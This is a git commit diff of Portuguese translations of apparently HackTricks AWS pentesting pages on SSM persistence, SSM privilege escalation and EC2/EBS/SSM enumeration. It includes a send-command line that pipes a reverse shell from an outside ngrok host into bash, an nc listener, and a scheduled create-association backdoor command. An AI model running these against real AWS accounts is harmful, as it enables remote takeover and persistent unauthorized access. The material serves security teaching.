Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-p

This commit is contained in:
Translator
2025-07-24 06:56:23 +00:00
parent 1d88091fbb
commit ed26cf162c
5 changed files with 71 additions and 49 deletions

View File

@@ -230,7 +230,7 @@
- [AWS - SNS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sns-persistence.md)
- [AWS - Secrets Manager Persistence](pentesting-cloud/aws-security/aws-persistence/aws-secrets-manager-persistence.md)
- [AWS - SQS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-perssitence.md)
- [AWS - SSM Perssitence](pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md)
- [AWS - Step Functions Persistence](pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md)
- [AWS - STS Persistence](pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md)
- [AWS - Post Exploitation](pentesting-cloud/aws-security/aws-post-exploitation/README.md)

View File

@@ -0,0 +1,27 @@
# AWS - SSM Persistência
{{#include ../../../banners/hacktricks-training.md}}
## SSM
Para mais informações, consulte:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### Usando ssm:CreateAssociation para persistência
Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma Associação do Gerenciador de Estado para executar comandos automaticamente em instâncias EC2 gerenciadas pelo SSM. Essas associações podem ser configuradas para serem executadas em um intervalo fixo, tornando-as adequadas para persistência semelhante a backdoor sem sessões interativas.
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> Este método de persistência funciona enquanto a instância EC2 for gerenciada pelo Systems Manager, o agente SSM estiver em execução e o atacante tiver permissão para criar associações. Não requer sessões interativas ou permissões explícitas ssm:SendCommand. **Importante:** O parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo de 30 minutos da AWS. Para execução imediata ou única, omita completamente `--schedule-expression` — a associação será executada uma vez após a criação.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,27 +0,0 @@
# AWS - SSM Perssitence
{{#include ../../../banners/hacktricks-training.md}}
## SSM
Para mais informações, consulte:
{{#ref}}
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
{{#endref}}
### Usando ssm:CreateAssociation para persistência
Um atacante com a permissão ssm:CreateAssociation pode criar uma Associação do Gerenciador de Estado para executar comandos automaticamente em instâncias EC2 gerenciadas pelo SSM. Essas associações podem ser configuradas para serem executadas em um intervalo fixo, tornando-as adequadas para persistência semelhante a backdoor sem sessões interativas.
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> Este método de persistência funciona enquanto a instância EC2 for gerenciada pelo Systems Manager, o agente SSM estiver em execução e o atacante tiver permissão para criar associações. Não requer sessões interativas ou permissões explícitas de ssm:SendCommand. **Importante:** O parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo de 30 minutos da AWS. Para execução imediata ou única, omita `--schedule-expression` completamente — a associação será executada uma vez após a criação.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -12,7 +12,7 @@ Para mais informações sobre SSM, consulte:
### `ssm:SendCommand`
Um atacante com a permissão **`ssm:SendCommand`** pode **executar comandos em instâncias** que executam o Amazon SSM Agent e **comprometer o IAM Role** que está sendo executado dentro dele.
Um atacante com a permissão **`ssm:SendCommand`** pode **executar comandos em instâncias** que executam o Amazon SSM Agent e **comprometer o IAM Role** que está em execução dentro dele.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
Caso você esteja usando essa técnica para escalar privilégios dentro de uma instância EC2 já comprometida, você pode simplesmente capturar o rev shell localmente com:
Caso você esteja usando essa técnica para escalar privilégios dentro de uma instância EC2 já comprometida, você pode apenas capturar o rev shell localmente com:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -35,7 +35,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
### `ssm:StartSession`
Um atacante com a permissão **`ssm:StartSession`** pode **iniciar uma sessão semelhante ao SSH em instâncias** que executam o Agente SSM da Amazon e **comprometer o Papel IAM** em execução dentro dele.
Um atacante com a permissão **`ssm:StartSession`** pode **iniciar uma sessão semelhante ao SSH em instâncias** que executam o Agente SSM da Amazon e **comprometer o Papel IAM** que está em execução dentro dele.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -52,7 +52,7 @@ aws ssm start-session --target "$INSTANCE_ID"
#### Privesc para ECS
Quando as **tarefas ECS** são executadas com **`ExecuteCommand` habilitado**, usuários com permissões suficientes podem usar `ecs execute-command` para **executar um comando** dentro do contêiner.\
De acordo com [**a documentação**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “_exec_” e o contêiner de destino com o SSM Session Manager. (Plugin SSM Session Manager necessário para que isso funcione)\
De acordo com [**a documentação**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/), isso é feito criando um canal seguro entre o dispositivo que você usa para iniciar o comando “_exec_” e o contêiner de destino com o SSM Session Manager. (Plugin do SSM Session Manager necessário para que isso funcione)\
Portanto, usuários com `ssm:StartSession` poderão **obter um shell dentro das tarefas ECS** com essa opção habilitada apenas executando:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
@@ -105,6 +105,20 @@ aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>
```
**Impacto Potencial:** Encontrar informações sensíveis dentro da saída dos comandos.
### Usando ssm:CreateAssociation
Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma Associação do State Manager para executar comandos automaticamente em instâncias EC2 gerenciadas pelo SSM. Essas associações podem ser configuradas para serem executadas em intervalos fixos, tornando-as adequadas para persistência semelhante a backdoor sem sessões interativas.
```bash
aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name
```
> [!NOTE]
> Este método de persistência funciona enquanto a instância EC2 for gerenciada pelo Systems Manager, o agente SSM estiver em execução e o atacante tiver permissão para criar associações. Não requer sessões interativas ou permissões explícitas ssm:SendCommand. **Importante:** O parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo de 30 minutos da AWS. Para execução imediata ou única, omita completamente `--schedule-expression` — a associação será executada uma vez após a criação.
### Codebuild
Você também pode usar SSM para acessar um projeto de codebuild que está sendo construído:

View File

@@ -12,7 +12,7 @@ aws-vpc-and-networking-basic-information.md
## EC2
Amazon EC2 é utilizado para iniciar **servidores virtuais**. Ele permite a configuração de **segurança** e **rede** e a gestão de **armazenamento**. A flexibilidade do Amazon EC2 é evidente em sua capacidade de escalar recursos tanto para cima quanto para baixo, adaptando-se efetivamente a mudanças de requisitos ou picos de popularidade. Esse recurso diminui a necessidade de previsões precisas de tráfego.
Amazon EC2 é utilizado para iniciar **servidores virtuais**. Ele permite a configuração de **segurança** e **rede** e a gestão de **armazenamento**. A flexibilidade do Amazon EC2 é evidente em sua capacidade de escalar recursos tanto para cima quanto para baixo, adaptando-se efetivamente a mudanças nas necessidades ou aumentos de popularidade. Esse recurso diminui a necessidade de previsões precisas de tráfego.
Coisas interessantes para enumerar no EC2:
@@ -29,9 +29,9 @@ Coisas interessantes para enumerar no EC2:
### Instance Profiles
Usar **funções** para conceder permissões a aplicativos que rodam em **instâncias EC2** requer um pouco de configuração extra. Um aplicativo rodando em uma instância EC2 é abstraído da AWS pelo sistema operacional virtualizado. Por causa dessa separação extra, você precisa de um passo adicional para atribuir uma função da AWS e suas permissões associadas a uma instância EC2 e torná-las disponíveis para seus aplicativos.
Usar **funções** para conceder permissões a aplicativos que rodam em **instâncias EC2** requer um pouco de configuração extra. Um aplicativo rodando em uma instância EC2 é abstraído da AWS pelo sistema operacional virtualizado. Por causa dessa separação extra, você precisa de um passo adicional para atribuir uma função AWS e suas permissões associadas a uma instância EC2 e torná-las disponíveis para seus aplicativos.
Esse passo extra é a **criação de um** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) anexado à instância. O **instance profile contém a função e** pode fornecer as credenciais temporárias da função a um aplicativo que roda na instância. Essas credenciais temporárias podem então ser usadas nas chamadas de API do aplicativo para acessar recursos e limitar o acesso apenas aos recursos que a função especifica. Observe que **apenas uma função pode ser atribuída a uma instância EC2** de cada vez, e todos os aplicativos na instância compartilham a mesma função e permissões.
Esse passo extra é a **criação de um** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) anexado à instância. O **instance profile contém a função e** pode fornecer as credenciais temporárias da função a um aplicativo que roda na instância. Essas credenciais temporárias podem então ser usadas nas chamadas de API do aplicativo para acessar recursos e limitar o acesso apenas aos recursos que a função especifica. Observe que **apenas uma função pode ser atribuída a uma instância EC2** por vez, e todos os aplicativos na instância compartilham a mesma função e permissões.
### Metadata Endpoint
@@ -133,7 +133,7 @@ aws ec2 describe-vpc-peering-connections
../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
{{#endref}}
### Escalação de Privilégios
### Privesc
Na página a seguir, você pode verificar como **abusar das permissões do EC2 para escalar privilégios**:
@@ -149,15 +149,15 @@ Na página a seguir, você pode verificar como **abusar das permissões do EC2 p
## EBS
Amazon **EBS** (Elastic Block Store) **snapshots** são basicamente **backups** estáticos dos volumes EBS da AWS. Em outras palavras, são **cópias** dos **discos** anexados a uma **instância EC2** em um ponto específico no tempo. Os snapshots do EBS podem ser copiados entre regiões e contas, ou até mesmo baixados e executados localmente.
Amazon **EBS** (Elastic Block Store) **snapshots** são basicamente **backups** estáticos de volumes EBS da AWS. Em outras palavras, são **cópias** dos **discos** anexados a uma **instância EC2** em um ponto específico no tempo. Os snapshots do EBS podem ser copiados entre regiões e contas, ou até mesmo baixados e executados localmente.
Os snapshots podem conter **informações sensíveis** como **código-fonte ou chaves de API**, portanto, se você tiver a chance, é recomendável verificá-los.
### Diferença entre AMI e EBS
### Diferença AMI & EBS
Uma **AMI** é usada para **iniciar uma instância EC2**, enquanto um **Snapshot** do EC2 é usado para **fazer backup e recuperar dados armazenados em um volume EBS**. Embora um Snapshot do EC2 possa ser usado para criar uma nova AMI, não é a mesma coisa que uma AMI, e não inclui informações sobre o sistema operacional, servidor de aplicativos ou outro software necessário para executar um aplicativo.
### Escalação de Privilégios
### Privesc
Na página a seguir, você pode verificar como **abusar das permissões do EBS para escalar privilégios**:
@@ -167,7 +167,7 @@ Na página a seguir, você pode verificar como **abusar das permissões do EBS p
## SSM
**Amazon Simple Systems Manager (SSM)** permite gerenciar remotamente grupos de instâncias EC2 para facilitar muito suas administrações. Cada uma dessas instâncias precisa estar executando o **serviço SSM Agent, pois o serviço será o responsável por receber as ações e executá-las** a partir da API da AWS.
**Amazon Simple Systems Manager (SSM)** permite gerenciar remotamente grupos de instâncias EC2 para facilitar muito suas administrações. Cada uma dessas instâncias precisa estar executando o **serviço SSM Agent, pois será ele quem receberá as ações e as executará** a partir da API da AWS.
O **SSM Agent** possibilita que o Systems Manager atualize, gerencie e configure esses recursos. O agente **processa solicitações do serviço Systems Manager na Nuvem AWS**, e então as executa conforme especificado na solicitação.
@@ -194,11 +194,19 @@ Na página a seguir, você pode verificar como **abusar das permissões do SSM p
../../aws-privilege-escalation/aws-ssm-privesc.md
{{#endref}}
### Persistência
Na página a seguir, você pode verificar como **abusar das permissões do SSM para alcançar persistência**:
{{#ref}}
../../aws-persistence/aws-ssm-persistence.md
{{#endref}}
## ELB
**Elastic Load Balancing** (ELB) é um **serviço de balanceamento de carga para implantações da Amazon Web Services** (AWS). O ELB automaticamente **distribui o tráfego de aplicação de entrada** e dimensiona recursos para atender às demandas de tráfego.
**Elastic Load Balancing** (ELB) é um **serviço de balanceamento de carga para implantações da Amazon Web Services** (AWS). O ELB automaticamente **distribui o tráfego de aplicação de entrada** e escala recursos para atender à demanda de tráfego.
### Enumeration
### Enumeração
```bash
# List internet-facing ELBs
aws elb describe-load-balancers
@@ -209,7 +217,7 @@ aws elbv2 describe-load-balancers
aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName'
aws elbv2 describe-listeners --load-balancer-arn <load_balancer_arn>
```
## Modelos de Lançamento e Grupos de Autoescalonamento
## Modelos de Lançamento e Grupos de Autoscaling
### Enumeração
```bash
@@ -228,9 +236,9 @@ aws autoscaling describe-load-balancers
```
## Nitro
AWS Nitro é um conjunto de **tecnologias inovadoras** que formam a plataforma subjacente para instâncias AWS EC2. Introduzido pela Amazon para **aumentar a segurança, desempenho e confiabilidade**, Nitro aproveita **componentes de hardware personalizados e um hipervisor leve**. Ele abstrai grande parte da funcionalidade de virtualização tradicional para hardware e software dedicados, **minimizando a superfície de ataque** e melhorando a eficiência dos recursos. Ao descarregar funções de virtualização, Nitro permite que as instâncias EC2 ofereçam **desempenho quase bare-metal**, tornando-se particularmente benéfico para aplicações que consomem muitos recursos. Além disso, o Nitro Security Chip garante especificamente a **segurança do hardware e firmware**, solidificando ainda mais sua arquitetura robusta.
AWS Nitro é um conjunto de **tecnologias inovadoras** que formam a plataforma subjacente para instâncias AWS EC2. Introduzido pela Amazon para **aumentar a segurança, desempenho e confiabilidade**, Nitro aproveita **componentes de hardware personalizados e um hypervisor leve**. Ele abstrai grande parte da funcionalidade de virtualização tradicional para hardware e software dedicados, **minimizando a superfície de ataque** e melhorando a eficiência dos recursos. Ao descarregar funções de virtualização, Nitro permite que as instâncias EC2 ofereçam **desempenho quase bare-metal**, tornando-se particularmente benéfico para aplicações que consomem muitos recursos. Além disso, o Nitro Security Chip garante especificamente a **segurança do hardware e firmware**, solidificando ainda mais sua arquitetura robusta.
Obtenha mais informações e como enumerá-las em:
Obtenha mais informações e como enumerá-lo em:
{{#ref}}
aws-nitro-enum.md
@@ -258,14 +266,14 @@ Uma VPN permite conectar sua **rede local (site-to-site VPN)** ou os **laptops d
- É usado para comunicação segura, estável e consistente entre seu data center ou rede e seu ambiente AWS.
- Normalmente usado para conexões regulares e de longo prazo e é cobrado com base na quantidade de dados transferidos pela conexão.
4. **Client VPN Endpoint**:
- Um endpoint Client VPN é um recurso que você cria na AWS para habilitar e gerenciar sessões de VPN de clientes.
- Um endpoint Client VPN é um recurso que você cria na AWS para habilitar e gerenciar sessões de VPN de cliente.
- É usado para permitir que dispositivos individuais (como laptops, smartphones, etc.) se conectem de forma segura aos recursos da AWS ou à sua rede local.
- Ele difere da Site-to-Site VPN na medida em que é projetado para clientes individuais, em vez de conectar redes inteiras.
- Com o Client VPN, cada dispositivo cliente usa um software cliente VPN para estabelecer uma conexão segura.
Você pode [**encontrar mais informações sobre os benefícios e componentes das VPNs da AWS aqui**](aws-vpc-and-networking-basic-information.md#vpn).
Você pode [**encontrar mais informações sobre os benefícios e componentes das AWS VPNs aqui**](aws-vpc-and-networking-basic-information.md#vpn).
### Enumeração
### Enumeration
```bash
# VPN endpoints
## Check used subnetwork, authentication, SGs, connected...
@@ -299,7 +307,7 @@ As credenciais pertencem ao usuário `arn:aws:sts::<acc-id>:assumed-role/aws-vpn
**Arquivos de configuração opvn**
Se uma **conexão VPN foi estabelecida**, você deve procurar por arquivos de configuração **`.opvn`** no sistema. Além disso, um lugar onde você poderia encontrar as **configurações** é em **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
Se uma **conexão VPN foi estabelecida**, você deve procurar por arquivos de configuração **`.opvn`** no sistema. Além disso, um lugar onde você pode encontrar as **configurações** é em **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`**
#### **Pós Exploração**